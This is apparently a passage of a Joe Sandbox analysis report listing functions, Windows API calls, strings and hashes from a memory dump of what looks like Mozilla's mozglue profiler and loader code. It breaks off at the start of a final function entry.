String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4678940e03ca9f43f988d323d287557dff6870c00ac6c8e937d59b932bcbd7ae
Instruction ID: c6f7844e31e08284677b4dd1e8a8deb958c211ea86eb5debe3a5632093165fff
Opcode Fuzzy Hash: 4678940e03ca9f43f988d323d287557dff6870c00ac6c8e937d59b932bcbd7ae
Instruction Fuzzy Hash: E5B26D71B05A01CFD708CF2DC590A15BBE2BFC5324B29C7ADE8698B6A5D771E841CB84

Uniqueness

Uniqueness Score: -1.00%

Function 6CD485F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CD48C7C
__aulldiv.LIBCMT ref: 6CD48DD7

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 4eee0ef6eecc047571100c52f150a06693ffe060198e9347979d39412a68abe2
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: A8326C71F011198BDF18CF9CC8A17AEB7B2FB88340F15852AD606FB7A4DA349D458B91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD25C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CCF4A63,?,?), ref: 6CD25F06

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3101088812d60394ad2e43c56414e1a74c3b443594dc56e5292f284b1eb89da8
Instruction ID: 104a7af53bbac46169f44f8b900d877137956f6f476c44cb73d235898f965e0a
Opcode Fuzzy Hash: 3101088812d60394ad2e43c56414e1a74c3b443594dc56e5292f284b1eb89da8
Instruction Fuzzy Hash: 05C1D375D01209CBCB14CF55C190AEEBBF2FF8A318F28815DD9556BB58E736A805CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD576E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: aee9dffd717466164c8ee57be1a91744c193b7432408eb7432dd5745ce3fca93
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 9E321871E10619CFCF14CF98C880AADFBB2BF88304FA58169C459A7755D731A996CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD56E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: c92e283ba1348c049a8811a586e746a2064f5c415095d04125b58c8f82b8f31d
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 3922E575E10219CFCF14CF98C880AADF7B2BF88304F6581AAC949A7755D731A996CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD10512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3b3de164a2cd7f01dd44c83a82e121dd96ac60a3c00acfed36eeb8cc2f89c31e
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 1E221671E04669CFDB14CF98D890AADF7B2FF88304F548299D44AA7B15D730A986CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46a747892af231c953369191542cea344b079548dc3f5db10db408ee4ac98a02
Instruction ID: e3795ad9fd58464f6746a6a82bbbaeb257cd5fd5d41619d24d9c3888d67f4eb6
Opcode Fuzzy Hash: 46a747892af231c953369191542cea344b079548dc3f5db10db408ee4ac98a02
Instruction Fuzzy Hash: 24F137716083559FDF00CF28C8807BAB7E2AFC5318F948A1DE4D9877E1E375985587A2

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 260080f8db1e199289f0738ad4c27de481006ae9c1023e1f8902b2dc3394a122
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 43A18F71F0061A8BDB08CE69C8913AEBBF2AFCD354F198169D915E7785DB349C068B90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD455F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CD1E1A5), ref: 6CD45606
LoadLibraryW.KERNEL32(gdi32,?,6CD1E1A5), ref: 6CD4560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CD45633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CD4563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CD4566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CD4567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CD45696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CD456B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CD456CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CD456E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CD456FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CD45716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CD4572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CD45748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CD45761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CD4577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CD45793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CD457A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CD457BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CD457D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CD457EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CD457FF

Strings

EnableNonClientDpiScaling, xrefs: 6CD45666
StretchDIBits, xrefs: 6CD457CC
CreateSolidBrush, xrefs: 6CD457E4
GetThreadDpiAwarenessContext, xrefs: 6CD4562D
SetWindowPos, xrefs: 6CD456F7
ReleaseDC, xrefs: 6CD45742
MonitorFromWindow, xrefs: 6CD4578D
RegisterClassW, xrefs: 6CD456AC
CreateWindowExW, xrefs: 6CD456C5
user32, xrefs: 6CD45601
DeleteObject, xrefs: 6CD457F9
GetMonitorInfoW, xrefs: 6CD457A2
ShowWindow, xrefs: 6CD456DE
AreDpiAwarenessContextsEqual, xrefs: 6CD45637
GetSystemMetricsForDpi, xrefs: 6CD45677
LoadIconW, xrefs: 6CD4575B
GetWindowDC, xrefs: 6CD45710
GetDpiForWindow, xrefs: 6CD45690
FillRect, xrefs: 6CD45729
SetWindowLongPtrW, xrefs: 6CD457B7
gdi32, xrefs: 6CD4560A
LoadCursorW, xrefs: 6CD45774

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: c5b8d0aba39bc0c0422e86bd9398e0f29b9c5a19d3d1bab92b069a05e61d3346
Instruction ID: ded32634a784e821f1f6230e8ab76dbb5dd3c1ad2961318a350cc642bceb39f8
Opcode Fuzzy Hash: c5b8d0aba39bc0c0422e86bd9398e0f29b9c5a19d3d1bab92b069a05e61d3346
Instruction Fuzzy Hash: DD51F075651712AFBB015F378D54A367ABCAB06245F10842ABB51E2AA2FF74DC04CF70

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CCF582D), ref: 6CD2CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CCF582D), ref: 6CD2CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CD5FE98,?,?,?,?,?,6CCF582D), ref: 6CD2CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CCF582D), ref: 6CD2CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CCF582D), ref: 6CD2CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CCF582D), ref: 6CD2CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CCF582D), ref: 6CD2CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CD2CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CD2CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CD2CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CD2CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CD2CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CD2CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CD2CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CD2CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CD2CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CD2CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CD2CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CD2CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CD2CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CD2CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CD2CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CD2CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CD2CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CD2CE8A

Strings

noiostacks, xrefs: 6CD2CCBE
mainthreadio, xrefs: 6CD2CC7C
processcpu, xrefs: 6CD2CE6E
cpuallthreads, xrefs: 6CD2CE16
fileioall, xrefs: 6CD2CCA8
jsallocations, xrefs: 6CD2CD0E
screenshots, xrefs: 6CD2CCD4
Unrecognized feature "%s"., xrefs: 6CD2CEA0
power, xrefs: 6CD2CE84
stackwalk, xrefs: 6CD2CCF8
audiocallbacktracing, xrefs: 6CD2CDD4
nostacksampling, xrefs: 6CD2CD7C
leaf, xrefs: 6CD2CC66
nativeallocations, xrefs: 6CD2CDA8
markersallthreads, xrefs: 6CD2CE42
samplingallthreads, xrefs: 6CD2CE2C
notimerresolutionchange, xrefs: 6CD2CE00
seqstyle, xrefs: 6CD2CCE6
ipcmessages, xrefs: 6CD2CDBE
preferencereads, xrefs: 6CD2CD92
java, xrefs: 6CD2CC37
fileio, xrefs: 6CD2CC92
default, xrefs: 6CD2CC21
unregisteredthreads, xrefs: 6CD2CE58

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: b47fca3f83a6bbeda5a939c604ca1b386cf7f8d9836866dafe095467b6b086cf
Instruction ID: 76873674676fa9d40ea9fe720322936cb6a1463e0f7043e0c94debf8a7fed3b3
Opcode Fuzzy Hash: b47fca3f83a6bbeda5a939c604ca1b386cf7f8d9836866dafe095467b6b086cf
Instruction Fuzzy Hash: 495189C1A4522952FF0033156D10BAA2445EBD728EF504436DF49A5EB1FB0DEE2DC5B7

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCF4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CCF44B2,6CD6E21C,6CD6F7F8), ref: 6CCF473E
Part of subcall function 6CCF4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CCF474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CCF44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CCF44D2
InitOnceExecuteOnce.KERNEL32(6CD6F80C,6CCEF240,?,?), ref: 6CCF451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CCF455C
LoadLibraryW.KERNEL32(?), ref: 6CCF4592
InitializeCriticalSection.KERNEL32(6CD6F770), ref: 6CCF45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CCF45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CCF45BB
InitOnceExecuteOnce.KERNEL32(6CD6F818,6CCEF240,?,?), ref: 6CCF4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CCF4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CCF4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CCF466D
VerSetConditionMask.NTDLL ref: 6CCF469F
VerSetConditionMask.NTDLL ref: 6CCF46AB
VerSetConditionMask.NTDLL ref: 6CCF46B2
VerSetConditionMask.NTDLL ref: 6CCF46B9
VerSetConditionMask.NTDLL ref: 6CCF46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CCF46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CCF46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CCF46FD

Strings

user32.dll, xrefs: 6CCF4557, 6CCF463F
l, xrefs: 6CCF4578
WRusr.dll, xrefs: 6CCF44B5
kernel32.dll, xrefs: 6CCF44CD
NativeNtBlockSet_Write, xrefs: 6CCF46F7

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 3d9282854bc3b2f8f7c4f9a75aca96000e295bb5ad2ff89dace598408f0a87b0
Instruction ID: 98d2e79864b96562aee835fe2b5ebc38f03dfd382a5570da27f938f87a975554
Opcode Fuzzy Hash: 3d9282854bc3b2f8f7c4f9a75aca96000e295bb5ad2ff89dace598408f0a87b0
Instruction Fuzzy Hash: 5E61F6B0604244AFFB10EF62CD05BA5BBBCFF46308F148559E6149BAA1E7B09946CF71

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CD2F8F9

Part of subcall function 6CCF6390: GetCurrentThreadId.KERNEL32 ref: 6CCF63D0
Part of subcall function 6CCF6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CCF63DF
Part of subcall function 6CCF6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CCF640E

ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2F93A
GetCurrentThreadId.KERNEL32 ref: 6CD2F98A
GetCurrentThreadId.KERNEL32 ref: 6CD2F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2F716

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

Part of subcall function 6CCEB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CCEB5E0

GetCurrentThreadId.KERNEL32 ref: 6CD2F739
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2F746
GetCurrentThreadId.KERNEL32 ref: 6CD2F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CD6385B,00000002,?,?,?,?,?), ref: 6CD2F829
free.MOZGLUE(?,?,00000000,?), ref: 6CD2F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CD2F866
free.MOZGLUE(?), ref: 6CD2FA0C

Part of subcall function 6CCF5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF55E1), ref: 6CCF5E8C
Part of subcall function 6CCF5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCF5E9D
Part of subcall function 6CCF5E60: GetCurrentThreadId.KERNEL32 ref: 6CCF5EAB
Part of subcall function 6CCF5E60: GetCurrentThreadId.KERNEL32 ref: 6CCF5EB8
Part of subcall function 6CCF5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCF5ECF
Part of subcall function 6CCF5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CCF5F27
Part of subcall function 6CCF5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CCF5F47
Part of subcall function 6CCF5E60: GetCurrentProcess.KERNEL32 ref: 6CCF5F53
Part of subcall function 6CCF5E60: GetCurrentThread.KERNEL32 ref: 6CCF5F5C
Part of subcall function 6CCF5E60: GetCurrentProcess.KERNEL32 ref: 6CCF5F66
Part of subcall function 6CCF5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CCF5F7E

free.MOZGLUE(?), ref: 6CD2F9C5
free.MOZGLUE(?), ref: 6CD2F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6CD2F71F
Thread , xrefs: 6CD2F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CD2F9A6
" attempted to re-register as ", xrefs: 6CD2F858

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 4ea452811555d71033c6b3c35cb748f223af40137abd66aef1e9406c32ddc599
Instruction ID: 347e7c7d07db09df334df4beeba00e2133f5542a6df5c39e2eccb7ceb8122ecc
Opcode Fuzzy Hash: 4ea452811555d71033c6b3c35cb748f223af40137abd66aef1e9406c32ddc599
Instruction Fuzzy Hash: AD8118716047149FD700DF25C840BAEB7B5EFC5308F44496DEA8597B61EB34E849CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

